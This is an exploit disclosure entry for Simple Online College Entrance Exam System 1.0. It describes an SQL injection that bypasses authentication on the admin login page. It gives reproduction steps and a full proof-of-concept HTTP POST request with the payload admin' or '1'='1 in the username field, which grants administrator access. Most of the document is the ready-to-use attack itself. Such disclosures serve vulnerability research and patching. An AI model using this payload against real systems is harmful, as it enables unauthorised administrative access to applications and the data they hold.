Simple Online College Entrance Exam System 1.0 – SQLi Authentication Bypass
# Exploit Title: Simple Online College Entrance Exam System 1.0 - SQLi Authentication Bypass # Date: 07.10.2021 # Exploit Author: Mevlüt Yılmaz # Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code # Version: 1.0 # Tested on: Windows 10, Kali Linux # Simple Online College Entrance Exam System v1.0 Login page can be bypassed with a simple SQLi to the username parameter. Steps To Reproduce: 1 - Go to the login page http://localhost/entrance_exam/admin/login.php 2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field. 3 - Click on "Login" button and you are logged in as administrator. PoC POST /entrance_exam/Actions.php?a=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 45 Origin: http://localhost Connection: close Referer: http://localhost/entrance_exam/admin/login.php Cookie: PHPSESSID=57upokqf37b2fjs4o5tc84cd8n username=admin'+or+'1'%3D'1&password=anything |